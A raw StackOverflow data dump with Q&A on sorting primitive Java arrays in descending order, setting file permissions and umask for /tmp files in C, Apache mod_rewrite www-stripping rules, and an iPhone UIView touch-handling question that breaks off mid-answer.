"text": "<pre><code>double[] array = new double[1048576];\n</code></pre>\n\n<p>...</p>\n\n<p>By default order is ascending </p>\n\n<p>To reverse the order </p>\n\n<pre><code>Arrays.sort(array,Collections.reverseOrder());\n</code></pre>\n"
},
{
"answer_id": 423686,
"author": "myplacedk",
"author_id": 28683,
"author_profile": "https://Stackoverflow.com/users/28683",
"pm_score": 1,
"selected": false,
"text": "<p>If performance is important, and the list usually already is sorted quite well.</p>\n\n<p>Bubble sort should be one of the slowest ways of sorting, but I have seen cases where the best performance was a simple bi-directional bubble sort.</p>\n\n<p>So this may be one of the few cases where you can benefit from coding it yourself. But you really need to do it right (make sure at least somebody else confirms your code, make a proof that it works etc.)</p>\n\n<p>As somebody else pointed out, it may be even better to start with a sorted array, and keep it sorted while you change the contents. That may perform even better.</p>\n"
},
{
"answer_id": 7414867,
"author": "Sean Patrick Floyd",
"author_id": 342852,
"author_profile": "https://Stackoverflow.com/users/342852",
"pm_score": 3,
"selected": false,
"text": "<p><a href=\"http://guava-libraries.googlecode.com/\">Guava</a> has methods for converting primitive arrays to Lists of wrapper types. The nice part is that these lists are live views, so operations on them work on the underlying arrays as well (similar to <code>Arrays.asList()</code>, but for primitives).</p>\n\n<p>Anyway, each of these Lists can be passed to <code>Collections.reverse()</code>:</p>\n\n<pre><code>int[] intArr = { 1, 2, 3, 4, 5 };\nfloat[] floatArr = { 1.0f, 2.0f, 3.0f, 4.0f, 5.0f };\ndouble[] doubleArr = { 1.0d, 2.0d, 3.0d, 4.0d, 5.0d };\nbyte[] byteArr = { 1, 2, 3, 4, 5 };\nshort[] shortArr = { 1, 2, 3, 4, 5 };\nCollections.reverse(Ints.asList(intArr));\nCollections.reverse(Floats.asList(floatArr));\nCollections.reverse(Doubles.asList(doubleArr));\nCollections.reverse(Bytes.asList(byteArr));\nCollections.reverse(Shorts.asList(shortArr));\nSystem.out.println(Arrays.toString(intArr));\nSystem.out.println(Arrays.toString(floatArr));\nSystem.out.println(Arrays.toString(doubleArr));\nSystem.out.println(Arrays.toString(byteArr));\nSystem.out.println(Arrays.toString(shortArr));\n</code></pre>\n\n<p>Output:</p>\n\n<blockquote>\n <p>[5, 4, 3, 2, 1]<br>\n [5.0, 4.0, 3.0, 2.0, 1.0]<br>\n [5.0, 4.0, 3.0, 2.0, 1.0]<br>\n [5, 4, 3, 2, 1]<br>\n [5, 4, 3, 2, 1] </p>\n</blockquote>\n"
},
{
"answer_id": 25070560,
"author": "Green Beret",
"author_id": 873708,
"author_profile": "https://Stackoverflow.com/users/873708",
"pm_score": -1,
"selected": false,
"text": "<pre><code>Double[] d = {5.5, 1.3, 8.8};\nArrays.sort(d, Collections.reverseOrder());\nSystem.out.println(Arrays.toString(d));\n</code></pre>\n\n<p>Collections.reverseOrder() doesn't work on primitives, but Double, Integer etc works with Collections.reverseOrder()</p>\n"
},
{
"answer_id": 26501956,
"author": "greybeard",
"author_id": 3789665,
"author_profile": "https://Stackoverflow.com/users/3789665",
"pm_score": 1,
"selected": false,
"text": "<p>With numerical types, negating the elements before and after sort seems an option. Speed relative to a single reverse after sort depends on cache, and if reverse is not faster, any difference may well be lost in noise.</p>\n"
},
{
"answer_id": 27095994,
"author": "Brandon",
"author_id": 1237044,
"author_profile": "https://Stackoverflow.com/users/1237044",
"pm_score": 6,
"selected": true,
"text": "<p><a href=\"https://github.com/mintern-java/primitive#java-primitive\" rel=\"noreferrer\">Java Primitive</a> includes functionality for sorting primitive arrays based on a custom comparator. Using it, and Java 8, your sample could be written as:</p>\n\n<pre><code>double[] array = new double[1048576];\n...\nPrimitive.sort(array, (d1, d2) -> Double.compare(d2, d1), false);\n</code></pre>\n\n<p>If you're using Maven, you can include it with:</p>\n\n<pre><code><dependency>\n <groupId>net.mintern</groupId>\n <artifactId>primitive</artifactId>\n <version>1.2.1</version>\n</dependency>\n</code></pre>\n\n<p>When you pass <code>false</code> as the third argument to <code>sort</code>, it uses an unstable sort, a simple edit of Java's built-in <a href=\"https://en.wikipedia.org/wiki/Quicksort#Variants\" rel=\"noreferrer\">dual-pivot quicksort</a>. This means that the speed should be close to that of built-in sorting.</p>\n\n<p>Full disclosure: I wrote the Java Primitive library.</p>\n"
},
{
"answer_id": 36643885,
"author": "madfree",
"author_id": 6017611,
"author_profile": "https://Stackoverflow.com/users/6017611",
"pm_score": 2,
"selected": false,
"text": "<p>I think the easiest solution is still:</p>\n\n<ol>\n<li>Getting the natural order of the array </li>\n<li>Finding the maximum within that sorted array which is then the last item </li>\n<li>Using a for-loop with decrement operator</li>\n</ol>\n\n<p>As said by others before: using toList is additional effort, Arrays.sort(array,Collections.reverseOrder()) doesn't work with primitives and using an extra framework seems too complicated when all you need is already inbuild and therefore probably faster as well...</p>\n\n<p>Sample code:</p>\n\n<pre><code>import java.util.Arrays;\n\npublic class SimpleDescending {\n\n public static void main(String[] args) {\n\n // unsorted array\n int[] integerList = {55, 44, 33, 88, 99};\n\n // Getting the natural (ascending) order of the array\n Arrays.sort(integerList);\n\n // Getting the last item of the now sorted array (which represents the maximum, in other words: highest number)\n int max = integerList.length-1;\n\n // reversing the order with a simple for-loop\n System.out.println(\"Array in descending order:\");\n for(int i=max; i>=0; i--) {\n System.out.println(integerList[i]);\n }\n\n // You could make the code even shorter skipping the variable max and use\n // \"int i=integerList.length-1\" instead of int \"i=max\" in the parentheses of the for-loop\n }\n}\n</code></pre>\n"
},
{
"answer_id": 39102936,
"author": "user462990",
"author_id": 462990,
"author_profile": "https://Stackoverflow.com/users/462990",
"pm_score": 0,
"selected": false,
"text": "<p>for small arrays this may work.</p>\n\n<pre><code>int getOrder (double num, double[] array){\n double[] b = new double[array.length];\n for (int i = 0; i < array.length; i++){\n b[i] = array[i];\n }\n Arrays.sort(b);\n for (int i = 0; i < b.length; i++){\n if ( num < b[i]) return i;\n }\n return b.length;\n}\n</code></pre>\n\n<p>I was surprised that the initial loading of array b was necessary</p>\n\n<pre><code>double[] b = array; // makes b point to array. so beware!\n</code></pre>\n"
},
{
"answer_id": 40461663,
"author": "Shravan Kumar",
"author_id": 6396218,
"author_profile": "https://Stackoverflow.com/users/6396218",
"pm_score": 2,
"selected": false,
"text": "<pre><code>Before sorting the given array multiply each element by -1 \n</code></pre>\n\n<p>then use Arrays.sort(arr) then again multiply each element by -1</p>\n\n<pre><code>for(int i=0;i<arr.length;i++)\n arr[i]=-arr[i];\nArrays.sort(arr);\nfor(int i=0;i<arr.length;i++)\n arr[i]=-arr[i];\n</code></pre>\n"
},
{
"answer_id": 41906001,
"author": "tanghao",
"author_id": 2693476,
"author_profile": "https://Stackoverflow.com/users/2693476",
"pm_score": 0,
"selected": false,
"text": "<p>If using java8, just convert array to stream, sort and convert back.\nAll of the tasks can be done just in one line, so I feel this way is not too bad.</p>\n\n<pre><code>double[] nums = Arrays.stream(nums).boxed().\n .sorted((i1, i2) -> Double.compare(i2, i1))\n .mapToDouble(Double::doubleValue)\n .toArray();\n</code></pre>\n"
},
{
"answer_id": 46674965,
"author": "Catalin Pit",
"author_id": 8428191,
"author_profile": "https://Stackoverflow.com/users/8428191",
"pm_score": -1,
"selected": false,
"text": "<p>Below is my solution, you can adapt it to your needs. </p>\n\n<p>How does it work? It takes an array of integers as arguments. After that it will create a new array which will contain the same values as the array from the arguments. The reason of doing this is to leave the original array intact.</p>\n\n<p>Once the new array contains the copied data, we sort it by swapping the values until the condition <em>if(newArr[i] < newArr[i+1])</em> evaluates to false. That means the array is sorted in descending order.</p>\n\n<p>For a thorough explanation check my blog post <a href=\"http://csforfun.com/llsn-sort-array-descending-order\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<pre><code>public static int[] sortDescending(int[] array)\n{\n int[] newArr = new int[array.length];\n\n for(int i = 0; i < array.length; i++)\n {\n newArr[i] = array[i];\n }\n\n boolean flag = true;\n int tempValue;\n\n while(flag) \n {\n flag = false;\n\n for(int i = 0; i < newArr.length - 1; i++) \n {\n if(newArr[i] < newArr[i+1])\n {\n tempValue = newArr[i];\n newArr[i] = newArr[i+1];\n newArr[i+1] = tempValue;\n flag = true;\n }\n }\n }\n\n return newArr;\n}\n</code></pre>\n"
},
{
"answer_id": 48996951,
"author": "alamshahbaz16497",
"author_id": 9080948,
"author_profile": "https://Stackoverflow.com/users/9080948",
"pm_score": 0,
"selected": false,
"text": "<p>In Java 8, a better and more concise approach could be:</p>\n\n<pre><code>double[] arr = {13.6, 7.2, 6.02, 45.8, 21.09, 9.12, 2.53, 100.4};\n\nDouble[] boxedarr = Arrays.stream( arr ).boxed().toArray( Double[]::new );\nArrays.sort(boxedarr, Collections.reverseOrder());\nSystem.out.println(Arrays.toString(boxedarr));\n</code></pre>\n\n<p>This would give the reversed array and is more presentable.</p>\n\n<p>Input: [13.6, 7.2, 6.02, 45.8, 21.09, 9.12, 2.53, 100.4]</p>\n\n<p>Output: [100.4, 45.8, 21.09, 13.6, 9.12, 7.2, 6.02, 2.53]</p>\n"
},
{
"answer_id": 52737272,
"author": "MJA",
"author_id": 2268647,
"author_profile": "https://Stackoverflow.com/users/2268647",
"pm_score": 0,
"selected": false,
"text": "<p>Understand it's a very old post but I stumbled upon a similar problem trying to sort primitive int arrays, so posting my solution. Suggestions/comments welcome -</p>\n\n<pre><code>int[] arr = {3,2,1,3};\nList<Integer> list = new ArrayList<>();\nArrays.stream(arr).forEach(i -> list.add(i));\nlist.stream().sorted(Comparator.reverseOrder()).forEach(System.out::println);\n</code></pre>\n"
},
{
"answer_id": 53379879,
"author": "Shubham Gaur",
"author_id": 5212179,
"author_profile": "https://Stackoverflow.com/users/5212179",
"pm_score": 0,
"selected": false,
"text": "<pre><code>double s =-1;\n double[] n = {111.5, 111.2, 110.5, 101.3, 101.9, 102.1, 115.2, 112.1};\n for(int i = n.length-1;i>=0;--i){\n int k = i-1;\n while(k >= 0){\n if(n[i]>n[k]){\n s = n[k];\n n[k] = n[i];\n n[i] = s;\n }\n k --;\n }\n }\n System.out.println(Arrays.toString(n));\n it gives time complexity O(n^2) but i hope its work\n</code></pre>\n"
},
{
"answer_id": 58489083,
"author": "Murtaza Patrawala",
"author_id": 9499784,
"author_profile": "https://Stackoverflow.com/users/9499784",
"pm_score": 4,
"selected": false,
"text": "<p>Heres a one-liner, using streams in Java 8</p>\n\n<pre><code>int arr = new int[]{1,2,3,4,5};\nArrays.stream(arr).boxed().sorted(Collections.reverseOrder()).mapToInt(Integer::intValue).toArray();\n</code></pre>\n"
},
{
"answer_id": 64168465,
"author": "Ankit Marothi",
"author_id": 3611104,
"author_profile": "https://Stackoverflow.com/users/3611104",
"pm_score": 0,
"selected": false,
"text": "<p>Here's a full program that sorts objects based on a inner field.</p>\n<pre><code>package Algorithms.BranchAndBound;\n\nimport java.util.Arrays;\nimport java.util.Comparator;\n\npublic class KnapSack01 {\n private class ItemVals {\n double weight;\n double cost;\n double ratio;\n\n public ItemVals(double weight, double cost) {\n this.weight = weight;\n this.cost = cost;\n this.ratio = weight/cost;\n }\n }\n\n public ItemVals[] createSortedItemVals(double[] weight, double[] cost) {\n ItemVals[] itemVals = new ItemVals[weight.length];\n for(int i = 0; i < weight.length; i++) {\n ItemVals itemval = new ItemVals(weight[i], cost[i]);\n itemVals[i] = itemval;\n }\n Arrays.sort(itemVals, new Comparator<ItemVals>() {\n @Override\n public int compare(ItemVals o1, ItemVals o2) {\n return Double.compare(o2.ratio, o1.ratio);\n }\n });\n return itemVals;\n }\n\n public void printItemVals(ItemVals[] itemVals) {\n for (int i = 0; i < itemVals.length; i++) {\n System.out.println(itemVals[i].ratio);\n }\n }\n\n public static void main(String[] args) {\n KnapSack01 knapSack01 = new KnapSack01();\n double[] weight = {2, 3.14, 1.98, 5, 3};\n double[] cost = {40, 50, 100, 95, 30};\n ItemVals[] itemVals = knapSack01.createSortedItemVals(weight, cost);\n knapSack01.printItemVals(itemVals);\n }\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215271",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4308/"
] |
I've got a **large** array of primitive types (double).
How do I sort the elements in **descending order**?
Unfortunately the Java API doesn't support sorting of **primitive** types with a Comparator.
The first approach that probably comes to mind is to convert it to a list of objects (boxing):
```
double[] array = new double[1048576];
Arrays.stream(array).boxed().sorted(Collections.reverseOrder())…
```
This solution is probably good enough for many (or even most) use cases but **boxing** each primitive in the array is **too slow and causes a lot of GC pressure** if the array is large!
Another approach would be to sort and then reverse:
```
double[] array = new double[1048576];
...
Arrays.sort(array);
// reverse the array
for (int i = 0; i < array.length / 2; i++) {
// swap the elements
double temp = array[i];
array[i] = array[array.length - (i + 1)];
array[array.length - (i + 1)] = temp;
}
```
**This approach can also be too slow** if the array is already sorted quite well.
What's a better alternative if the arrays are large and performance is the major optimization goal?
|
[Java Primitive](https://github.com/mintern-java/primitive#java-primitive) includes functionality for sorting primitive arrays based on a custom comparator. Using it, and Java 8, your sample could be written as:
```
double[] array = new double[1048576];
...
Primitive.sort(array, (d1, d2) -> Double.compare(d2, d1), false);
```
If you're using Maven, you can include it with:
```
<dependency>
<groupId>net.mintern</groupId>
<artifactId>primitive</artifactId>
<version>1.2.1</version>
</dependency>
```
When you pass `false` as the third argument to `sort`, it uses an unstable sort, a simple edit of Java's built-in [dual-pivot quicksort](https://en.wikipedia.org/wiki/Quicksort#Variants). This means that the speed should be close to that of built-in sorting.
Full disclosure: I wrote the Java Primitive library.
|
215,302 |
<p>I am trying to create a file in the <code>/tmp</code> directory (working on a Linux UBUNTU 7.10), that has read/write/execute access for any user.</p>
<p>So I am using the</p>
<pre><code>open(fileName,O_CREAT|O_RDWR,0777)
</code></pre>
<p>function to create the file (from a C program) in <code>user1</code> account and I would like <code>user2</code> to be able to write to the specific file.</p>
<p>However, when I check the <code>/tmp</code> directory, using</p>
<pre><code>ls -l
</code></pre>
<p>I see that I do not have the <strong>write access permission</strong> for <code>user2</code> (considering the fact that <code>user1</code> created it, I have write access for <code>user1</code>, but <code>user2</code>, who is considered to be "others" does not have any access).</p>
<p>I have tried to use mode <code>0766</code> in the <code>open</code> function (and such combinations of <code>7</code> and <code>6</code> for modes), so that I may get write access for <code>user2</code>, but I still don't have the required access.</p>
|
[
{
"answer_id": 215305,
"author": "CesarB",
"author_id": 28258,
"author_profile": "https://Stackoverflow.com/users/28258",
"pm_score": 4,
"selected": true,
"text": "<p>You have to set your umask to 000. The bits on the umask are removed from the permission you have chosen, and the default umask is usually 022 or 002.</p>\n\n<p>Note that things like default ACLs and SELinux labels might also affect the readability and writability of files. Use getfacl to see ACLs and ls -Z to see SELinux labels; for SELinux, you also have to know which policies are active and what effect they have. The presence of ACLs can also be seen on ls -l as a + character after the permissions.</p>\n"
},
{
"answer_id": 215307,
"author": "Pistos",
"author_id": 28558,
"author_profile": "https://Stackoverflow.com/users/28558",
"pm_score": 2,
"selected": false,
"text": "<p>FWIW, it's a security risk to create anything in /tmp (or /var/tmp, etc.) with a fixed name. A symlink can be setup in /tmp with the same name pointing to anything, and your program will destroy the target file if the user running your program has permissions to do so.</p>\n\n<p>Things created programmatically in /tmp should be given random names, but it's best not to use that directory at all unless your whole system is secure (no potentially malicious users).</p>\n"
},
{
"answer_id": 215318,
"author": "Jonathan Leffler",
"author_id": 15168,
"author_profile": "https://Stackoverflow.com/users/15168",
"pm_score": 2,
"selected": false,
"text": "<p>As CesarB noted, Unix unsets the bits that are set in the process's umask, so to get complete access, you would have to unset umask - temporarily.</p>\n\n<pre><code> mode_t oldmask = umask(0);\n fd = open(...);\n oldmask = umask(oldmask);\n assert(oldmask == 0);\n</code></pre>\n\n<p>(OK; you don't have to do the assertion; it won't fire.)</p>\n\n<p>As Pistos noted, creating files in /tmp is a fraught process. If you think the file should not be there yet, add O_EXCL to prevent following symlinks to unexpected places.</p>\n\n<p>One final point - why would you be making the file executable? I think you should be aiming for just 666 permission, not 777 or 766. You most certainly should not execute a program that others can change at any time (so the owner should not have execute permission on a file others can write to), and the members of the group probably wouldn't really appreciate the generosity either. Other may, perhaps, get what they deserve if they execute the file - but it still isn't nice.</p>\n"
},
{
"answer_id": 215330,
"author": "Jaime Soriano",
"author_id": 28855,
"author_profile": "https://Stackoverflow.com/users/28855",
"pm_score": 2,
"selected": false,
"text": "<p>The only thing you can do is to chmod the file after create it:</p>\n\n<pre><code>#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\nint main() {\n creat(\"/tmp/foo\", 0);\n chmod(\"/tmp/foo\", 0666);\n}\n</code></pre>\n\n<p>Anyway is not safe to have this kind of files.</p>\n"
},
{
"answer_id": 215503,
"author": "John Nilsson",
"author_id": 24243,
"author_profile": "https://Stackoverflow.com/users/24243",
"pm_score": 2,
"selected": false,
"text": "<p>I'm assuming you're trying to perform some IPC. Have you concidered using some other means to achive this like using dbus or som other system designed for this purpose?</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215302",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23486/"
] |
I am trying to create a file in the `/tmp` directory (working on a Linux UBUNTU 7.10), that has read/write/execute access for any user.
So I am using the
```
open(fileName,O_CREAT|O_RDWR,0777)
```
function to create the file (from a C program) in `user1` account and I would like `user2` to be able to write to the specific file.
However, when I check the `/tmp` directory, using
```
ls -l
```
I see that I do not have the **write access permission** for `user2` (considering the fact that `user1` created it, I have write access for `user1`, but `user2`, who is considered to be "others" does not have any access).
I have tried to use mode `0766` in the `open` function (and such combinations of `7` and `6` for modes), so that I may get write access for `user2`, but I still don't have the required access.
|
You have to set your umask to 000. The bits on the umask are removed from the permission you have chosen, and the default umask is usually 022 or 002.
Note that things like default ACLs and SELinux labels might also affect the readability and writability of files. Use getfacl to see ACLs and ls -Z to see SELinux labels; for SELinux, you also have to know which policies are active and what effect they have. The presence of ACLs can also be seen on ls -l as a + character after the permissions.
|
215,316 |
<p>I've got a tomcat 6 web app running with Apache httpd as the front end. I'm using mod_proxy and mod_proxy_ajp to forward the requests to tomcat. My server is running Ubuntu. Now I'm trying to use mod_rewrite to remove the leading www, so that my canonical website URL is <code>http://example.com</code> rather than <code>http://www.example.com</code></p>
<p>I've read a number of tutorials on using mod_rewrite, but I can't get any rewriting to work. I've tried putting the rewrite rule in an <code>.htaccess</code> file (after modifying my <code>/etc/apache/sites-available/default</code> file to set AllowOverride all). I've tried putting the rewrite rule in <code>apache2.conf</code>, <code>httpd.conf</code>, and <code>rewrite.conf</code>. I've tried all of these with rewrite logging turned on. The log file gets created, but Apache has written nothing to it. I thought maybe mod_proxy was somehow preventing the rewrite rules from being used, so I tried disabling that as well...and I still get no rewrite, and nothing to the log.</p>
<p>At this point I have absolutely no idea what to try next. How do I go about troubleshooting why Apache isn't using my rewrite rules?</p>
<p>For reference, here are my rewrite directives:</p>
<pre><code><IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP_HOST} ^www.example.com$ [NC]
RewriteRule ^(.*)$ http://example.com/$1 [R=301,L]
RewriteLog "/var/log/apache2/rewrite.log"
RewriteLogLevel 3
</IfModule>
</code></pre>
<p>the responses below are helpful to my particular case, but probably not as helpful to the community-at-large as answers about how you troubleshoot Apache directives in general. For example, is there a way to enable logging to the point where it would tell me which directives are being applied in which order as the request comes in?</p>
<p><strong>Edit 2</strong>: I've gotten things to work now. My virtual hosts weren't quite set up right, and I also didn't quite have the rewrite regex right. Here is the final rewrite directives I got to work:</p>
<pre><code><IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_HOST} ^www\.example\.com [NC]
RewriteRule ^(.*)$ http://example.com$1 [L,R=301]
</IfModule>
</code></pre>
|
[
{
"answer_id": 215345,
"author": "Greg",
"author_id": 24181,
"author_profile": "https://Stackoverflow.com/users/24181",
"pm_score": 0,
"selected": false,
"text": "<p>Try increasing the logging level up to 9 (the maximum).<br>\nBe sure apache has the proper rights to the log file (although if it created it, it seems likely it could write to it too).<br>\nTry a different rewrite rule, with no condition, for example <code>RewriteRule .* www.google.com [RL]</code></p>\n"
},
{
"answer_id": 215359,
"author": "K Prime",
"author_id": 29270,
"author_profile": "https://Stackoverflow.com/users/29270",
"pm_score": 1,
"selected": false,
"text": "<p></p>\n\n<pre><code> RewriteEngine on\n RewriteCond %{HTTP_HOST} ^www.domain.com$ [NC]\n RewriteRule ^(.*)$ \"http\\:\\/\\/domain\\.com\\/$1\" [R=301,L]\n\n</IfModule>\n</code></pre>\n\n<p>Had the same problem with my server, but this worked</p>\n"
},
{
"answer_id": 215365,
"author": "Vinko Vrsalovic",
"author_id": 5190,
"author_profile": "https://Stackoverflow.com/users/5190",
"pm_score": 0,
"selected": false,
"text": "<p>In which context are these rules placed? You might be placing them under a different virtual host, for example. Try to put them outside any container if you have only one domain to test.</p>\n\n<p>In any case, there's an alternative to achieve 'no-www', consists in using two virtual hosts, one for www and another for 'no-www'. www one redirects to the other one:</p>\n\n<pre><code><VirtualHost *:80>\n ServerName www.domain.com\n Redirect permanent / http://domain.com\n</VirtualHost>\n\n\n<VirtualHost *:80>\n ServerName domain.com\n #The rest of the configuration (proxying, etc.)\n</VirtualHost>\n</code></pre>\n"
},
{
"answer_id": 215445,
"author": "Leonel Martins",
"author_id": 26673,
"author_profile": "https://Stackoverflow.com/users/26673",
"pm_score": 3,
"selected": true,
"text": "<p><strong>Trying to answer your question</strong>: To debug Apache operation you can adjust the <a href=\"http://httpd.apache.org/docs/2.2/mod/core.html#loglevel\" rel=\"nofollow noreferrer\">LogLevel</a> to a lower level (maybe <code>debug</code>). But even if you put <code>debug</code> if you disable the Log for the module in question you dont get any messages from it. For instance, the default <code>[RequestLogLevel][2]</code> is 0, e.g., the module dont write any messages. I see you setted it to 3 but like <a href=\"https://stackoverflow.com/questions/215316/how-do-i-troubleshoot-why-my-rewrite-rules-arent-being-applied-by-apache#215345\">RoBorg</a> said change it to <code>9</code> that maybe is too low for your case.</p>\n\n<p><strong>Trying to sove your problem</strong>: Try to change the way you rewrite the hostname using the inverse form - look if the hostname is what you want and, if not, change it to the hostname you want. Like stated in the <a href=\"http://httpd.apache.org/docs/2.2/misc/rewriteguide.html\" rel=\"nofollow noreferrer\">URL Rewriting Guide - Apache HTTP Server</a> at the Apache Site:</p>\n\n<blockquote>\n <p><strong>Canonical Hostnames</strong></p>\n \n <p><strong>Description</strong>:\n The goal of this rule is to force the use of a particular hostname, in\n preference to other hostnames which\n may be used to reach the same site.\n For example, if you wish to force the\n use of www.example.com instead of\n example.com, you might use a variant\n of the following recipe. Solution:</p>\n\n<pre><code># To force the use of \nRewriteEngine On\nRewriteCond %{HTTP_HOST} !^www\\.example\\.com [NC]\nRewriteCond %{HTTP_HOST} !^$\nRewriteRule ^/(.*) http://www.example.com/$1 [L,R]\n</code></pre>\n</blockquote>\n\n<p>In their example, they change from <code>example.com</code> to <code>www.example.com</code> but you got the idea. Just adjust it for your case.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215316",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29262/"
] |
I've got a tomcat 6 web app running with Apache httpd as the front end. I'm using mod\_proxy and mod\_proxy\_ajp to forward the requests to tomcat. My server is running Ubuntu. Now I'm trying to use mod\_rewrite to remove the leading www, so that my canonical website URL is `http://example.com` rather than `http://www.example.com`
I've read a number of tutorials on using mod\_rewrite, but I can't get any rewriting to work. I've tried putting the rewrite rule in an `.htaccess` file (after modifying my `/etc/apache/sites-available/default` file to set AllowOverride all). I've tried putting the rewrite rule in `apache2.conf`, `httpd.conf`, and `rewrite.conf`. I've tried all of these with rewrite logging turned on. The log file gets created, but Apache has written nothing to it. I thought maybe mod\_proxy was somehow preventing the rewrite rules from being used, so I tried disabling that as well...and I still get no rewrite, and nothing to the log.
At this point I have absolutely no idea what to try next. How do I go about troubleshooting why Apache isn't using my rewrite rules?
For reference, here are my rewrite directives:
```
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP_HOST} ^www.example.com$ [NC]
RewriteRule ^(.*)$ http://example.com/$1 [R=301,L]
RewriteLog "/var/log/apache2/rewrite.log"
RewriteLogLevel 3
</IfModule>
```
the responses below are helpful to my particular case, but probably not as helpful to the community-at-large as answers about how you troubleshoot Apache directives in general. For example, is there a way to enable logging to the point where it would tell me which directives are being applied in which order as the request comes in?
**Edit 2**: I've gotten things to work now. My virtual hosts weren't quite set up right, and I also didn't quite have the rewrite regex right. Here is the final rewrite directives I got to work:
```
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_HOST} ^www\.example\.com [NC]
RewriteRule ^(.*)$ http://example.com$1 [L,R=301]
</IfModule>
```
|
**Trying to answer your question**: To debug Apache operation you can adjust the [LogLevel](http://httpd.apache.org/docs/2.2/mod/core.html#loglevel) to a lower level (maybe `debug`). But even if you put `debug` if you disable the Log for the module in question you dont get any messages from it. For instance, the default `[RequestLogLevel][2]` is 0, e.g., the module dont write any messages. I see you setted it to 3 but like [RoBorg](https://stackoverflow.com/questions/215316/how-do-i-troubleshoot-why-my-rewrite-rules-arent-being-applied-by-apache#215345) said change it to `9` that maybe is too low for your case.
**Trying to sove your problem**: Try to change the way you rewrite the hostname using the inverse form - look if the hostname is what you want and, if not, change it to the hostname you want. Like stated in the [URL Rewriting Guide - Apache HTTP Server](http://httpd.apache.org/docs/2.2/misc/rewriteguide.html) at the Apache Site:
>
> **Canonical Hostnames**
>
>
> **Description**:
> The goal of this rule is to force the use of a particular hostname, in
> preference to other hostnames which
> may be used to reach the same site.
> For example, if you wish to force the
> use of www.example.com instead of
> example.com, you might use a variant
> of the following recipe. Solution:
>
>
>
> ```
> # To force the use of
> RewriteEngine On
> RewriteCond %{HTTP_HOST} !^www\.example\.com [NC]
> RewriteCond %{HTTP_HOST} !^$
> RewriteRule ^/(.*) http://www.example.com/$1 [L,R]
>
> ```
>
>
In their example, they change from `example.com` to `www.example.com` but you got the idea. Just adjust it for your case.
|
215,361 |
<p>I need a regex that matches all strings ending in .cs, but if they end in .g.cs they should not match. I'm using .NET regular expressions.</p>
|
[
{
"answer_id": 215366,
"author": "thr",
"author_id": 452521,
"author_profile": "https://Stackoverflow.com/users/452521",
"pm_score": 4,
"selected": true,
"text": "<p>This will match the end if it's .cs but not .g.cs</p>\n\n<pre><code>(?<!\\.g)\\.cs$\n</code></pre>\n\n<p>For the entire string start to finish, something like this:</p>\n\n<pre><code>^.*(?<!\\.g)\\.cs$\n</code></pre>\n"
},
{
"answer_id": 215502,
"author": "ephemient",
"author_id": 20713,
"author_profile": "https://Stackoverflow.com/users/20713",
"pm_score": 2,
"selected": false,
"text": "<p>In a regex engine without negative lookbehind:</p>\n\n<pre><code>^(.*[^g]|.*[^.]g|)\\.cs$\n</code></pre>\n\n<p>Linguistically, general lookahead/lookbehind is non-regular, so it isn't a \"regular expression\" even though it's really convenient...</p>\n\n<p>Irrelevant because you state that you're using .NET's regular expression engine, which supports non-regular extensions like this, but I like to make this point whenever I can.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215361",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7532/"
] |
I need a regex that matches all strings ending in .cs, but if they end in .g.cs they should not match. I'm using .NET regular expressions.
|
This will match the end if it's .cs but not .g.cs
```
(?<!\.g)\.cs$
```
For the entire string start to finish, something like this:
```
^.*(?<!\.g)\.cs$
```
|
215,383 |
<p>I have a custom UIView that generates a set of subviews and display them in rows and columns like tiles. What I am trying to achieve is to allow the user to touch the screen and as the finger move, the tiles beneath it disappears. </p>
<p>The code below is the custom UIView that contains the tiles:</p>
<pre><code>- (id)initWithFrame:(CGRect)frame {
if (self = [super initWithFrame:frame]) {
int i, j;
int maxCol = floor(self.frame.size.width/TILE_SPACING);
int maxRow = floor(self.frame.size.height/TILE_SPACING);
CGRect frame = CGRectMake(0, 0, TILE_WIDTH, TILE_HEIGHT);
UIView *tile;
for (i = 0; i<maxCol; i++) {
for (j = 0; j < maxRow; j++) {
frame.origin.x = i * (TILE_SPACING) + TILE_PADDING;
frame.origin.y = j * (TILE_SPACING) + TILE_PADDING;
tile = [[UIView alloc] initWithFrame:frame];
[self addSubview:tile];
[tile release];
}
}
}
return self;
}
- (void)touchesBegan: (NSSet *)touches withEvent:(UIEvent *)event {
UIView *tile = [self hitTest:[[touches anyObject] locationInView:self] withEvent:nil];
if (tile != self)
[tile setHidden:YES];
}
- (void)touchesMoved: (NSSet *)touches withEvent:(UIEvent *)event {
UIView *tile = [self hitTest:[[touches anyObject] locationInView:self] withEvent:nil];
if (tile != self)
[tile setHidden:YES];
}
</code></pre>
<p>This approach works but however if the tiles get denser (i.e. small tiles and more tiles on the screen). The iPhone is less responsive as the finger move. It may be the hitTest taking a toll on the processor as it struggles to keep up but would like some opinions.</p>
<p>My questions are:</p>
<ol>
<li><p>Is this an efficient way / right way to implement the touchesMoved?</p></li>
<li><p>If it isn't, what would be the recommended approach?</p></li>
<li><p>I tried moving the functionality into a custom Tile class (a sub UIView) which the class above would create and add as a subview. This subview Tile can handle the TouchesBegan but as the finger move, the other tiles does not receive the TouchesBegan even since the touches are still part of the initial touch sequence. Is there a way to implement it through the subview Tile class, how do other tiles receive the TouchesBegan/TouchesMoved event as the finger move?</p></li>
</ol>
|
[
{
"answer_id": 215531,
"author": "Ben Gottlieb",
"author_id": 6694,
"author_profile": "https://Stackoverflow.com/users/6694",
"pm_score": 5,
"selected": true,
